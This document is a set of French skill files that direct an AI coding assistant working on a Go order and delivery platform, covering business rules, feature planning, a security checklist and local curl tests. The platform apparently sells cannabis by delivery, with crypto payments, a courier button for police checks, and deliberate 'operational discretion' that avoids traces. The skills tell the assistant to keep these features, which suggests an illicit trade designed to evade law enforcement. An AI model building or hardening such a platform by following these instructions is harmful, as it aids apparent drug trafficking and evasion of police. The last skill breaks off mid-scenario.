# Compréhension métier — Plateforme de gestion de commandes/livraison
Référence condensée mais complète du domaine, construite à partir du `README.md`, des modèles Go (`models/`) et du code des handlers/DB. Objectif : éviter de raisonner uniquement "à partir du code" sans connaître les règles métier réelles, ce qui est la source la plus fréquente de bugs silencieux dans ce projet (stock, remboursements, idempotence, paramètres codés en dur au lieu de suivre `AppSettings`).
## Contexte général
Plateforme de commande + livraison ("Milieu-Nantais", contact Telegram `MLN44LA`) avec catalogue produit par catégories (ex. pools de points nommés "Cannabis", "Accessoires" dans les settings par défaut), paiement cash ou crypto, livreurs géolocalisés avec assignation automatique, et un livreur dispose d'un bouton d'alerte police en cas de contrôle/danger pendant une livraison. Cette nature du produit (aucune auto-inscription client, alerte police, paiement crypto natif, pénalités dissuasives sur annulation tardive) doit rester présente à l'esprit : les règles de sécurité et de discrétion opérationnelle (VPN, filtrage des données sensibles pour les livreurs, pas de traces inutiles) sont volontaires, pas accidentelles.
## Rôles et permissions
| Rôle | Description | Peut faire |
|------|-------------|------------|
| **client** | Utilisateur final | Panier, checkout, suivi commande, approuver/annuler, parrainage, points/récompenses, profil, 2FA |
| **admin** | Gestion complète | Tout : produits, clients, commandes, livreurs, cabine, pénalités, paramètres globaux, reset stats |
| **livreur** | Livreur assigné | Voir ses livraisons (données client filtrées), changer statut, position GPS, queue, alerte police, notifications |
| **cabine** | Cuisine/préparation | Voir items commande, préparer/emballer, assigner livreur, confirmer réception, pénalités client, alertes |
Règles clés (dont certaines issues du changelog sécurité v5.4.0) :
- **Aucune auto-inscription** — les comptes clients sont créés **uniquement par un admin** (`POST /api/v2/admin/protected/clients`). Un nouvel endpoint d'inscription libre serait une régression de sécurité majeure.
- **Création de comptes admin entièrement bloquée côté application** — un compte `admin` ne peut être créé qu'en base de données directement, jamais via l'API, quel que soit le rôle appelant (y compris un autre admin).
- **`cabine` n'a plus aucun droit de création d'utilisateurs ou de clients** (retiré côté backend en v5.4.0) — seul `admin` crée des comptes `livreur` ou `cabine`.
- JWT séparés par famille de rôle : secret client (`USER_JWT_SECRET`, expiration 5h) ≠ secret admin/livreur/cabine (`ADMIN_JWT_SECRET`, expiration 10h/2h selon contexte).
- Chaque action livreur doit vérifier que la commande lui est **assignée** (`livreur_assign == usernameStr`), pas seulement le rôle.
- **Filtrage des données sensibles** : les livreurs ne reçoivent jamais le téléphone du client dans `GET /livreur/deliveries` — uniquement nom/prénom. Tout nouvel endpoint livreur exposant des données client doit respecter ce filtrage.
## Cycle de vie d'une commande
```
pending → assigned → en_route → arrived → livre → approved
↓ ↓ ↓ ↓
cancelled (depuis presque tous les états — jamais depuis approved, jamais deux fois de suite)
```
- `pending` : créée au checkout, en attente d'assignation livreur (auto-assign GPS au checkout, ou worker CRON toutes les 1 minute, ou assignation manuelle admin/cabine).
- `assigned` : livreur choisi, pas encore parti. Le livreur peut aussi être réassigné manuellement (admin/cabine).
- `en_route` : livreur en chemin (`start` puis mise à jour de statut). ETA calculée (TomTom, fallback Haversine) et stockée dans Redis (`command:eta:{id}`), utilisée pour les notifications Telegram avec ETA.
- `arrived` : livreur à destination — déclenché par le livreur (GPS), ou par admin/cabine via bouton "Le livreur est là" (`notify-client`). Notifie le client (Telegram). **Timer 5 minutes** démarre côté app livreur (`frontend-admin`, `DashboardScreen.tsx`, `ABSENT_TIMEOUT_SECS = 300`) → si le client ne descend pas, bouton **"Client absent"** apparaît.
- `livre` : livraison confirmée. Deux voies : validation GPS livreur (distance ≤ 100m de la destination, coordonnées obligatoires) via `PUT /livreur/deliveries/:id/status`, ou override admin/cabine (`force-validate`/statut direct). En attente d'approbation client pour finaliser.
- `approved` : finalisée. Déclenché par le client (`POST /commands/:id/approve` avec note + commentaire livreur), ou admin/cabine (`confirm-reception`/statut direct en override). Points de fidélité attribués **à ce moment précis**, jamais avant (`CalculateAndAddPointsForCommandTx`, même transaction que le passage en `approved`). **Terminal** — plus aucune modification de stock ou de statut après.
- `cancelled` : peut survenir depuis quasiment tous les états précédents. Jamais depuis `approved`, jamais une seconde fois depuis `cancelled` (idempotence obligatoire).
- `pending_payment` : statut intermédiaire spécifique au paiement crypto (voir section Paiements) — pas dans le cycle "normal", bascule vers `pending` (paiement confirmé) ou `cancelled` (paiement échoué/expiré).
**Trois chemins de code différents pour l'annulation** : `CancelCommandAtomic` (client), `UpdateDeliveryStatus`/branche `cancelled` (livreur — inclut le flux "client absent"), `UpdateCommandStatusAdmin` (admin/cabine). Toute règle métier touchant l'annulation (remboursement stock, pénalité, notification) doit être répercutée dans les **trois**, plus `CancelCryptoCommand` pour le cas crypto.
**Correction d'adresse** : si une adresse ne peut pas être géocodée ou est jugée invalide, un flux de proposition existe (`adresse_correction` table, `invalid_address``correct_address`) — le client peut répondre à une proposition (`POST /commands/:id/address/respond`), l'admin peut modifier l'adresse directement (`PUT /orders/:id/address`).
## Produits, catalogue et tarification
- Un produit (`products`) a un `stock` en **float** (pas un entier — permet des unités fractionnaires/dosages), une `unit`, une ou plusieurs catégories, un flag `coming_soon` (produit visible mais pas encore commandable), et des médias (images).
- **Prix par quantité** (`product_prices`) : chaque palier de quantité a son propre prix et un flag `active_price`. Un prix désactivé (`active_price = false`) n'est **pas supprimé** — juste masqué. Les endpoints publics/client ne renvoient que les prix actifs ; `admin` et `cabine` voient tous les prix (actifs et inactifs) pour la gestion complète. Le frontend filtre aussi côté client par sécurité (`filter(p => p.active_price !== false)`).
- Désactiver un prix dans l'UI admin (retirer un prix existant) doit désactiver, pas supprimer — cohérence avec l'historique des commandes passées qui référencent ce prix.
## Panier et stock
- Le panier (`baskets`) vérifie le stock disponible à l'ajout (`AddToBasket`, rejet si insuffisant) mais ne le réserve pas au sens strict (pas de verrou tant que l'article reste dans le panier) — le stock réel n'est **décrémenté qu'à la validation de la commande** (checkout), dans une transaction unique avec la création de la commande et le vidage du panier.
- Un modèle `StockInfo` distingue `Quantity` (stock brut), `Reserved` (quantité présente dans des paniers actifs, à titre indicatif) et `Available` (`Quantity - Reserved`) — utilisé pour l'affichage admin, pas comme mécanisme de réservation dur.
- **Articles récompense** (`is_reward = true`, obtenus via le système de points, prix affiché = 0€ mais valeur indicative dans `RewardItem.Price`) : ce sont des produits physiques réellement distribués. **Le stock doit être décrémenté pour eux comme pour un article payant**, et remboursé de la même façon en cas d'annulation. Ne jamais les exclure du décompte de stock — seule leur tarification (débit en points au lieu d'euros) diffère.
- **Symétrie obligatoire** : toute décrémentation de stock doit avoir un chemin de remboursement, et vice-versa, **pour tous les articles sans exception** (récompense ou non). Une asymétrie désynchronise durablement le stock affiché de la réalité physique — c'est la classe de bug la plus dangereuse et la plus difficile à détecter de ce projet (corruption silencieuse, cumulative, visible seulement des semaines plus tard).
- Toute commande annulée deux fois (retry réseau, double-tap, ou canaux différents pour la même commande) ne doit rembourser le stock **qu'une seule fois** → nécessite un statut "already cancelled" idempotent vérifié **dans** une transaction verrouillée (`FOR UPDATE`), pas une simple vérification préalable hors transaction.
- Créer la commande + insérer les items + décrémenter le stock + vider le panier doivent être **une seule transaction** — sinon une commande "fantôme" (créée mais jamais payée en stock) peut survivre à un échec de décrément, puis être annulée plus tard et rembourser un stock jamais consommé.
## Paramètres globaux configurables (`AppSettings`)
Presque toutes les règles business ci-dessous sont **pilotées par un objet de settings unique**, modifiable par l'admin (`GET/PUT /api/v2/admin/protected/settings`) — ne jamais coder en dur une valeur qui existe déjà comme champ de `AppSettings` :
| Domaine | Champs | Notes |
|---|---|---|
| Pénalités | `PenaltiesEnabled`, `ShowAmendeScore`, `PenaltyTiers[]` | Tiers par défaut : 0→20€, 1→50€, 2→100€, 3→150€ (voir section Pénalités) |
| Points | `PointsEnabled`, `PointsPools[]`, `PointsReward` | Pools par défaut : "Pool 1"/"Pool 2" avec barèmes différents (voir section Points) |
| Parrainage | `ReferralEnabled`, `ReferralAmount` | Montant crédité par défaut = 0 (doit être configuré par l'admin) |
| Paiement crypto | `CryptoPaymentEnabled`, `CryptoOnly`, `NowPaymentsAPIKey`, `NowPaymentsIPNSecret`, `NowPaymentsCurrencies[]` | `CryptoOnly = true` désactive le cash |
| Livraison | `DeliverySchedule` (horaires par jour), `PostalZones[]` (nom, minimum de commande, codes postaux), `DeliveryMode` | Voir sections dédiées |
| Telegram | `TelegramBotToken`, `TelegramBotUsername`, `TelegramNotificationsEnabled`, `Telegram2FAEnabled` | |
| Vitrine | `ShopName` (def. "Milieu-Nantais"), `ContactTelegram` (def. "MLN44LA"), couleurs admin/client, dégradé titre | Purement cosmétique |
Toute nouvelle règle configurable doit suivre ce même modèle (ajout d'un champ `AppSettings` + valeur par défaut dans `DefaultSettings()`) plutôt qu'une constante Go.
## Système de points et récompenses (multi-pool)
- **Plusieurs "pools" de points** peuvent coexister, chacun associé à un sous-ensemble de catégories de produits (`PointsPool.Categories`) et avec son propre barème (`Tiers` : palier de montant dépensé → points gagnés, ex. 3050€ → 1 point, 401€+ → 10 points). Un même achat peut alimenter un pool différent selon la catégorie du produit acheté.
- Les points cumulés par pool sont stockés hors table `clients` classique (`points_extra`/`points_redeemed`, champs calculés `gorm:"-"`) — lus via `GetClientPointsAndRewards`.
- **Récompense globale par seuil** (`PointsReward`) : un seuil de points (`Threshold`) débloque une récompense, dont l'éligibilité est filtrée par catégorie/produits (`CategoryConfigs`) **par pool** (seules les catégories appartenant au pool comptent). Le nombre de récompenses disponibles = `points_du_pool / Threshold - déjà_réclamées`.
- **Réclamation** (`POST` claim, `ClaimMyReward`) : ajoute les `RewardItems` définis (produit + quantité) au panier avec `is_reward = true` et `reward_pool_key` renseigné — c'est le seul mécanisme qui produit des articles récompense. Consomme une unité de récompense disponible pour ce pool (`points_redeemed` incrémenté).
- L'admin peut réinitialiser les récompenses réclamées d'un client pour un pool donné (`AdminResetClientRedeemed`).
## Parrainage (parrain/filleul)
- Un client peut être parrainé par un autre (`clients.parrain`). Lier un parrain + créditer le crédit de parrainage (`referral_balance`, montant = `AppSettings.ReferralAmount`) doit être **atomique** (une seule transaction) — sinon un crédit peut être appliqué sans lien enregistré ou l'inverse.
- Le crédit de parrainage se débite au checkout (`DebitReferralBalance`) et doit respecter le minimum de la zone de livraison **après** déduction du crédit (le panier effectif payé doit rester ≥ minimum de la zone du code postal, `PostalZones`).
- Si le checkout échoue après débit du crédit (paiement crypto refusé, création de commande en échec), le crédit doit être **recrédité** (`CreditClientReferral`) — sinon perte sèche pour le client.
- Le système peut être entièrement désactivé (`ReferralEnabled = false`) — vérifier ce flag avant d'exposer une action de parrainage.
## Pénalités clients (amendes)
- Amendes **client uniquement**, jamais de pénalité livreur. Stockées dans `clients.amende`, avec compteur `cancellations_count` et `last_penalty_reason`.
- Barème progressif **configurable** (`AppSettings.PenaltyTiers`, fallback interne si settings illisibles) — défaut : 1ère annulation 20€, 2ème 50€, 3ème 100€, 4ème+ 150€. Le montant appliqué = `penaltyForCount(cancellations_count, PenaltyTiers)`.
- Le système entier peut être désactivé (`PenaltiesEnabled = false`) — dans ce cas le middleware `BlockClientIfPenalty` laisse passer sans vérification.
- **Blocage du checkout** : tant que `amende > 0`, le middleware `BlockClientIfPenalty` bloque toute tentative de checkout (403), avec un cache de la pénalité en session Redis (`PenaltyCache`) pour éviter une lecture DB à chaque requête. Message standard invite à contacter le shop via Telegram pour régulariser.
- **Sources d'amende** :
- Client annule sa propre commande (`ApplyCancellationPenalty`, incrémente `cancellations_count`).
- Livreur marque le client absent depuis le statut `arrived` (bouton "Client absent", `issue_type: client_absent`) → `ApplyCancellationPenalty` appliqué automatiquement au **client**, jamais au livreur.
- Admin peut appliquer une pénalité manuelle arbitraire (`POST /admin/protected/penalty`, montant et raison libres) — indépendante du barème progressif.
- "Annulation tardive" (règle spécifique au flux client `CancelCommandAtomic`, distincte du flux "client absent" livreur) = livreur déjà assigné ET (statut `en_route`/`arrived` OU ETA valide déjà définie en Redis). Sans livreur assigné ou sans ETA valide → annulation sans pénalité.
## Mode d'assignation des livreurs
- `DeliveryMode.Mode` : `"single"` (un seul pool de livreurs, toutes catégories confondues — mode par défaut) ou `"category_based"` (chaque livreur est routé uniquement vers les commandes contenant les catégories qui lui sont assignées, via `CategoryRoutes`).
- En mode `category_based`, l'auto-assignation GPS doit filtrer les livreurs éligibles par catégorie **avant** de calculer les distances — une commande mixte (catégories de livreurs différents) est un cas limite à traiter explicitement si cette fonctionnalité est étendue.
## GPS, auto-assignation et ETA
- **Géocodage** : Nominatim (OpenStreetMap), résultat caché 7 jours (`geocode:cache:{hash}`).
- **Distance à vol d'oiseau** : formule Haversine, calculée localement, aucun appel externe.
- **ETA avec trafic réel** : TomTom Routing API. **Rotation automatique jusqu'à 3 clés** (`TOMTOM_API_KEY_1/2/3`) — en cas de quota dépassé (403/429), bascule automatique sur la clé suivante sans interruption ; si toutes les clés sont épuisées, fallback sur estimation Haversine + vitesse moyenne 30 km/h (flag `fallback_used: true` dans la réponse).
- **Auto-assignation** : au checkout (immédiate si un livreur est disponible) et via un worker CRON toutes les 1 minute pour les commandes restées `pending`. Sélectionne le livreur disponible le plus proche avec de la capacité ; si tous sont à capacité maximale, le système peut forcer l'assignation.
- **Capacité de queue** : jusqu'à **10 commandes** par livreur. Un livreur `offline` ne reçoit aucune commande.
- Position GPS livreur stockée dans Redis (`delivery:location:{username}`, TTL 2h) et diffusée en temps réel via Redis Pub/Sub (`channel:position_updates`) pour la carte client/admin.
- Liens de navigation générés vers Google Maps / Waze / Apple Maps / OSM / Bing / Here, pour le livreur comme pour l'admin (supervision).
## Paiements
- **Cash** (par défaut, sauf si `CryptoOnly = true`) : le livreur encaisse à la livraison, aucun flux électronique.
- **Crypto** (NowPayments) : commande passe en `pending_payment` en attendant confirmation. Le webhook IPN (`POST /webhooks/nowpayments`) est **public** mais signé HMAC-SHA512 (`x-nowpayments-sig`) — vérifier la signature avant tout traitement, jamais faire confiance au contenu brut. Statuts `finished`/`confirmed` → activent la commande (repasse en `pending`, entre dans le cycle normal) ; `failed`/`expired` → annulent et remboursent stock + crédit parrainage.
- Le stock est décrémenté **dès la création de la commande crypto** (avant confirmation du paiement) — une commande crypto non payée réserve quand même le stock pendant la fenêtre de paiement, et le libère si elle expire/échoue.
- `CryptoPaymentEnabled = false` désactive complètement l'option crypto au checkout ; `CryptoOnly = true` la rend obligatoire.
## Alertes police (sécurité opérationnelle livreur)
- Un livreur peut déclencher une **alerte police** à tout moment (`POST /livreur/alert`, message optionnel) — notifie immédiatement tous les admins et cabine (`NotifyAllAdminCabineAlert`). C'est un bouton de sécurité personnelle, pas lié à une commande précise.
- Les alertes peuvent être supprimées par le livreur qui les a créées ou par un admin.
## Notifications et 2FA
- **Telegram uniquement** — les push Expo sont abandonnées (v5.4.0). Clients, livreurs, admins lient leur compte via un token à usage unique (TTL court, ex. 5 min).
- Types de notifications : `assigned`, `en_route` (avec ETA), `arrived`, `livre`, `ready_pickup` (cabine), `address_proposal`.
- 2FA (client) : nécessite Telegram lié + activation admin globale (`Telegram2FAEnabled`) + toggle personnel du client. Code 6 chiffres, `session_token` TTL 5 min, rate-limité (429 après trop de tentatives).
- Le système de notifications peut être désactivé globalement (`TelegramNotificationsEnabled = false`).
## Infrastructure (contexte pour évaluer l'impact d'un changement)
- Serveurs séparés reliés par VPN WireGuard privé (`10.0.0.0/24`) : `vpn-uber` (jump host), `monitoring-uber` (Wazuh/Dozzle/Beszel), `backup-mln` (MinIO S3 + ClamAV), `bdd-redis-prod` (PostgreSQL + Redis, **jamais exposé publiquement**), `prod-uber` (backend + WAF, seul serveur public sur 80/443).
- PostgreSQL et Redis accessibles uniquement via IP VPN (`10.0.0.5`) depuis `prod-uber`**latence réseau non négligeable**, d'où l'importance de grouper les requêtes (batch inserts, requêtes `IN`, parallélisation des stats déjà faites dans ce projet).
- WAF nginx + ModSecurity (OWASP CRS) devant l'API en prod ; logs nginx/ModSecurity montés sur l'hôte pour collecte Wazuh.
- Déploiement : push sur `pre-prod` → CI build image Docker (`xor1234/backend-mln:pre-prod`) → déploiement SSH.
- Workers automatiques : auto-assignation (1 min), nettoyage queues (5 min), mise à jour ETA (30 s), nettoyage stock (5 min).
## Erreurs passées à ne pas reproduire (mémoire vive du projet)
- Vider le panier **avant** de décrémenter le stock (au lieu d'une seule transaction) → stock jamais décrémenté en pratique.
- Restaurer le stock sans vérifier le statut précédent dans une transaction verrouillée → double remboursement sur double-annulation (le livreur avait ce bug, l'admin ne l'avait pas — incohérence entre chemins de code équivalents).
- Créer la commande + insérer les items **avant** la transaction de décrément de stock → commande fantôme si le décrément échoue (stock insuffisant détecté trop tard), qui peut ensuite être annulée et rembourser un stock jamais consommé.
- Exclure les articles récompense du décompte de stock sans les exclure aussi du remboursement (ou l'inverse) → asymétrie, stock qui dérive. Règle définitive validée par l'équipe : **les récompenses décrémentent et remboursent le stock exactement comme un article payant**.
- Coder en dur une valeur métier (barème de pénalité, montant de parrainage, seuil de points) qui existe déjà comme champ configurable dans `AppSettings` — toujours lire les settings, ne jamais dupliquer une constante.
@@ -0,0 +1,64 @@
---
name: plan-fonctionnalite
description: À invoquer avant d'implémenter toute nouvelle fonctionnalité ou modification significative de logique métier sur ce projet. Produit un plan détaillé (compréhension métier, sécurité, impact données, concurrence, tests) à valider avec l'utilisateur avant d'écrire du code — n'implémente rien tant que le plan n'est pas approuvé.
---
# Plan de développement de fonctionnalité
Ce skill encadre le développement de toute fonctionnalité non triviale sur ce projet. Règle centrale : **pas de code avant un plan validé par l'utilisateur**, sauf si la demande est un pur bug fix local déjà bien compris (dans ce cas, ce skill ne s'applique pas — voir "Quand ne pas utiliser ce skill").
## Étape 0 — Charger le contexte
Avant de rédiger le plan :
1. Invoquer/relire le skill `comprehension-metier` pour ancrer le raisonnement dans les vraies règles du domaine (rôles, cycle de vie commande, stock, parrainage, pénalités, paiements).
2. Repérer le(s) rôle(s) concerné(s) par la fonctionnalité (client / admin / livreur / cabine) et les fichiers existants correspondants (`handlers/`, `db/`) pour ne pas dupliquer un mécanisme déjà présent.
3. Si la demande est ambiguë sur une règle métier (ex: "qui peut faire X", "est-ce que ça affecte le stock"), poser la question plutôt que de supposer.
## Étape 1 — Rédiger le plan
Utiliser `EnterPlanMode` si l'outil est disponible pour ce tour ; sinon présenter le plan en texte structuré et attendre confirmation explicite avant de coder. Le plan doit couvrir, dans cet ordre :
### 1. Résumé fonctionnel
Quoi, pour qui, pourquoi — en une ou deux phrases orientées métier (pas techniques).
### 2. Rôles et permissions
- Qui déclenche l'action, qui peut la voir, qui peut l'annuler/modifier.
- Nouveau endpoint ? → préciser le middleware d'auth (client vs admin/livreur/cabine) et la vérification de propriété de ressource.
### 3. Impact sur les données
- Nouvelles colonnes/tables ? Migration nécessaire (`ALTER TABLE ... IF NOT EXISTS` dans `db_init.go`, cohérent avec le style existant du projet).
- Tables existantes affectées, et sens des colonnes touchées (stock, solde, statut, compteur).
### 4. Flux détaillé
- Étapes séquencées, y compris les statuts intermédiaires si la fonctionnalité touche au cycle de vie d'une commande.
- Effets de bord obligatoires à tracer explicitement : stock (décrément/remboursement symétriques, y compris articles récompense), points de fidélité, solde de parrainage, pénalités, notifications Telegram.
### 5. Sécurité (voir skill `securite-projet` pour le détail)
- Validation d'entrée (bornes, whitelist de statuts, longueur).
- Requêtes paramétrées uniquement.
- Si paiement ou webhook externe impliqué : vérification de signature avant traitement.
- Pas de nouveau chemin d'auto-inscription ou de contournement d'autorisation.
### 6. Concurrence et atomicité
- Cette action peut-elle être rejouée (double-tap, retry réseau, webhook dupliqué) ? Si oui : mécanisme d'idempotence explicite (vérifier l'état courant avant d'agir, retourner un succès idempotent plutôt qu'une erreur ou un double effet).
- Lecture-puis-décision-puis-écriture sur une valeur partagée (stock, solde) ? → transaction unique avec `FOR UPDATE`, jamais une suite d'appels séparés.
- Toute création d'enregistrement (commande, paiement) doit être dans la **même transaction** que ses effets de bord critiques (décrément stock, débit solde) — pas de risque d'enregistrement "fantôme" si une étape suivante échoue.
### 7. Plan de test
- Cas nominal.
- Cas limite métier (stock insuffisant, solde insuffisant, commande déjà dans l'état cible, ressource appartenant à un autre utilisateur).
- Cas de concurrence si pertinent (double-tap simulé, deux requêtes quasi simultanées).
- Comment vérifier après implémentation (`go build`, `go vet`, test manuel via `/verify` ou l'app si UI concernée).
### 8. Points ouverts
Toute question métier ou technique non tranchée, à soumettre explicitement à l'utilisateur plutôt que de trancher seul par défaut.
## Étape 2 — Validation puis implémentation
Ne commencer l'implémentation qu'après retour explicite de l'utilisateur sur le plan. Si l'utilisateur ne modifie rien, considérer le plan tel quel comme approuvé. Implémenter ensuite en suivant fidèlement les sections Sécurité et Concurrence du plan — elles ne sont pas optionnelles une fois validées.
## Quand ne pas utiliser ce skill
- Bug fix ponctuel et bien circonscrit (ex: correction d'une requête, d'un typo, d'une regression déjà diagnostiquée) où un plan formel ajouterait de la friction sans valeur — corriger directement.
- Modification purement cosmétique (style, renommage local, commentaire).
- Le skill s'applique dès qu'une action touche : un nouveau statut ou transition de commande, un flux d'argent ou de points, une nouvelle route API, ou un changement de permission.
+46
View File
@@ -0,0 +1,46 @@
---
name: securite-projet
description: Checklist de sécurité spécifique à ce projet (JWT multi-rôles, 2FA Telegram, webhook crypto NowPayments, VPN, WAF, création de comptes admin-only). À invoquer avant de merger tout code touchant à l'authentification, aux paiements, aux endpoints admin/livreur/cabine, ou à l'infrastructure serveur — en complément du skill générique security-review, pas à sa place.
---
# Sécurité — spécifique à ce projet
Cette checklist complète (ne remplace pas) le skill générique `security-review`. Elle encode les règles de sécurité **propres à cette plateforme**, qui ne sont pas détectables par une revue générique OWASP.
## Authentification et autorisation
- **Deux familles de JWT strictement séparées** : `USER_JWT_SECRET` (client) et `ADMIN_JWT_SECRET` (admin/livreur/cabine). Ne jamais faire valider un token d'une famille par le middleware de l'autre.
- Sessions actives trackées dans Redis (`session:{token}`, TTL 5h client / 2h admin) — la révocation d'un token doit supprimer la clé Redis correspondante, pas seulement compter sur l'expiration JWT.
- **Aucun endpoint d'auto-inscription client** ne doit exister. Si une tâche demande d'ajouter un moyen de créer un compte client hors du panel admin, c'est un signal d'alerte à soulever explicitement avant d'implémenter.
- Pour tout nouvel endpoint livreur/cabine : vérifier le rôle **et** la propriété de la ressource (`livreur_assign == username`), jamais le rôle seul. C'est l'erreur la plus fréquente dans ce code : un livreur authentifié valide ne doit agir que sur ses propres commandes.
- 2FA : le `session_token` de vérification (TTL 5 min) et le code à 6 chiffres doivent rester **rate-limités** (429 après trop de tentatives) — ne jamais retirer ce rate limiting pour "simplifier" un flux.
## Paiements crypto (NowPayments)
- Le webhook `POST /api/v1/webhooks/nowpayments` est un endpoint **public** par nécessité (appelé par NowPayments, pas par un utilisateur authentifié). Sa seule protection est la vérification **HMAC-SHA512** de l'en-tête `x-nowpayments-sig` — ne jamais traiter un payload dont la signature ne vérifie pas, quel que soit le contenu.
- Ne jamais faire confiance à un statut de paiement transmis par le client (ex: un champ `payment_status` dans une requête utilisateur) — seul le webhook signé ou un appel serveur-à-serveur à l'API NowPayments (`GetPaymentStatus`) fait foi.
- Toute transition `pending_payment → cancelled` doit être gardée par une vérification du statut courant (`WHERE status = 'pending_payment'`) pour éviter un double remboursement de stock si le webhook est reçu plusieurs fois (NowPayments peut renvoyer le même événement).
## Requêtes base de données
- Toutes les requêtes utilisent des paramètres liés GORM (`?` binding) — **jamais** de concaténation de chaînes dans une requête `Raw`/`Exec`, y compris pour des valeurs qui semblent "internes" (statuts, IDs). Une seule exception acceptable : les noms de colonnes/tables provenant d'une liste blanche fixe dans le code, jamais d'une entrée utilisateur.
- Toute opération qui lit puis modifie un compteur/solde partagé (stock, solde de parrainage, compteur d'annulations) doit se faire dans une transaction avec `FOR UPDATE` si une décision (ex: "stock suffisant ?") dépend de la valeur lue — sinon condition de course exploitable (survente, sur-crédit).
## Infrastructure
- PostgreSQL et Redis ne sont **jamais** exposés publiquement — accessibles uniquement via le VPN WireGuard (`10.0.0.0/24`) depuis `prod-uber`. Ne jamais suggérer d'ouvrir ces ports sur l'IP publique, même temporairement pour du debug.
- Les secrets (`.env`, clés JWT, `NOWPAYMENTS_IPN_SECRET`, `TELEGRAM_WEBHOOK_SECRET`) ne doivent jamais apparaître dans un commit, un log applicatif, ou une réponse API d'erreur.
- Le WAF (nginx + ModSecurity OWASP CRS) est le point d'entrée public — toute modification de routes ou de headers doit rester compatible avec ses règles (CSP, HSTS, TLS 1.2/1.3).
- SSH restreint au VPN sur les serveurs sensibles (`monitoring-uber`, `backup-mln`, `bdd-redis-prod`) — jump host via `vpn-uber`. Ne jamais recommander de désactiver cette restriction.
## Checklist rapide avant de merger un changement sensible
Pour tout endpoint touchant argent, stock, statut de commande, ou compte utilisateur :
- [ ] Rôle **et** propriété de la ressource vérifiés (pas l'un sans l'autre)
- [ ] Entrées validées (bornes numériques, longueur de chaîne, whitelist de statuts)
- [ ] Requêtes paramétrées, aucune concaténation SQL
- [ ] Opération idempotente si l'action peut être rejouée (retry réseau, double-tap, webhook dupliqué)
- [ ] Transaction + verrou (`FOR UPDATE`) si lecture-puis-décision-puis-écriture sur une valeur partagée
- [ ] Pas de nouveau secret ou donnée sensible loggé en clair
- [ ] Si paiement crypto impliqué : signature webhook vérifiée avant tout traitement
+145
View File
@@ -0,0 +1,145 @@
---
name: test-logique-metier
description: À lancer systématiquement à la fin de l'implémentation de toute fonctionnalité touchant à la logique métier (stock, commandes, paiements, points, parrainage, pénalités). Démarre l'API en local, exécute une série de scénarios réels via curl contre l'API, et vérifie en base que les invariants métier tiennent (stock décrémenté puis remboursé exactement, idempotence, autorisations par rôle). Ne se contente pas de lire le code — observe le comportement réel.
---
# Test de logique métier — vérification comportementale locale
Ce skill exécute des tests **de bout en bout contre une instance locale de l'API**, pas une relecture de code. Objectif : détecter les bugs de la classe "le code compile et semble correct, mais le comportement observé diverge" — exactement le type de bugs trouvés et corrigés dans ce projet (stock jamais décrémenté, double remboursement, commande fantôme). S'appuie sur les règles métier du skill `comprehension-metier` : le lire d'abord si ce n'est pas déjà fait.
**Ne jamais exécuter ces tests contre la base pre-prod ou prod.** Uniquement contre un environnement local jetable.
## Quand l'utiliser
- À la fin de l'implémentation de toute fonctionnalité qui touche : stock, cycle de vie d'une commande, paiement (cash/crypto), points/récompenses, parrainage, pénalités, permissions par rôle.
- Après toute correction de bug dans ces domaines (pour confirmer la correction ET l'absence de régression sur les cas adjacents).
- Complément du skill `plan-fonctionnalite` (étape "plan de test" de ce skill) — celui-ci l'exécute réellement au lieu de rester une liste sur papier.
- Ne pas l'utiliser pour un changement purement cosmétique ou un fix qui ne touche aucune règle métier.
## Étape 0 — Préparer l'environnement local
```bash
# 1. Postgres + Redis locaux (depuis backend/gestion/)
cd backend/gestion
docker compose up -d
docker compose ps # attendre "healthy" sur les deux services
# 2. Variables d'environnement minimales (adapter aux valeurs du .env local)
export DB_HOST=localhost DB_PORT=5432 DB_USER=postgres DB_PASSWORD=postgres DB_NAME=<db_name>
export REDIS_HOST=localhost REDIS_PORT=6379 REDIS_PASSWORD=<redis_password>
export USER_JWT_SECRET=$(openssl rand -hex 32)
export ADMIN_JWT_SECRET=$(openssl rand -hex 32)
# 3. Lancer l'API (dans un terminal séparé ou en arrière-plan)
go run main.go # écoute sur :8080, crée les tables au démarrage (createTables)
```
Vérifier que l'API répond avant de continuer :
```bash
curl -sf http://localhost:8080/api/v1/app-settings > /dev/null && echo "API up"
```
## Étape 1 — Obtenir un compte admin de test
**La création d'un compte admin est volontairement bloquée via l'API** (voir `comprehension-metier`) — impossible d'obtenir un token admin par un simple appel HTTP. Il faut l'insérer directement en base locale (jetable, jamais en pre-prod/prod) :
```bash
# Générer un hash bcrypt pour le mot de passe de test
HASH=$(go run -exec "" - <<'EOF' 2>/dev/null || python3 -c "import bcrypt; print(bcrypt.hashpw(b'TestPass123!', bcrypt.gensalt()).decode())"
package main
import ("fmt"; "golang.org/x/crypto/bcrypt")
func main() {
h, _ := bcrypt.GenerateFromPassword([]byte("TestPass123!"), bcrypt.DefaultCost)
fmt.Println(string(h))
}
EOF
)
docker exec -i gestion_postgres psql -U postgres -d <db_name> -c \
"INSERT INTO users (username, password, role) VALUES ('test_admin', '$HASH', 'admin') ON CONFLICT (username) DO NOTHING;"
```
Puis se connecter normalement :
```bash
ADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/v2/admin/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"test_admin","password":"TestPass123!"}' | jq -r .access_token)
```
À partir de ce token admin, créer les comptes de test nécessaires **via l'API** (c'est le chemin normal) : client de test, livreur de test, cabine de test — jamais par insertion SQL directe pour ceux-là, afin de tester le vrai chemin de création.
## Étape 2 — Méthode générale
Pour chaque scénario : **agir via l'API (curl)**, puis **vérifier l'état réel en base** (`docker exec gestion_postgres psql ...`) plutôt que de se fier uniquement à la réponse HTTP — une réponse 200 ne prouve pas que l'effet de bord a eu lieu correctement.
Gabarit de vérification stock :
```bash
docker exec -i gestion_postgres psql -U postgres -d <db_name> -t -c \
"SELECT stock FROM products WHERE id = $PRODUCT_ID;"
```
Toujours noter le stock **avant** l'action, exécuter l'action, relire le stock **après**, et comparer à la valeur attendue calculée manuellement (pas juste "différent de avant").
## Étape 3 — Scénarios à exécuter
### Stock — commande normale
1. Créer un produit avec stock connu (ex. 10).
2. Client ajoute 3 unités au panier, checkout.
3. Vérifier : stock produit = 7 exactement.
4. Client annule la commande.
5. Vérifier : stock produit = 10 exactement (retour à la valeur initiale).
### Stock — articles récompense
1. Configurer un pool de points avec un seuil bas et un `RewardItem` pointant vers un produit à stock connu.
2. Faire gagner assez de points au client de test (achats successifs), puis réclamer la récompense (`ClaimMyReward`).
3. Checkout incluant l'article récompense.
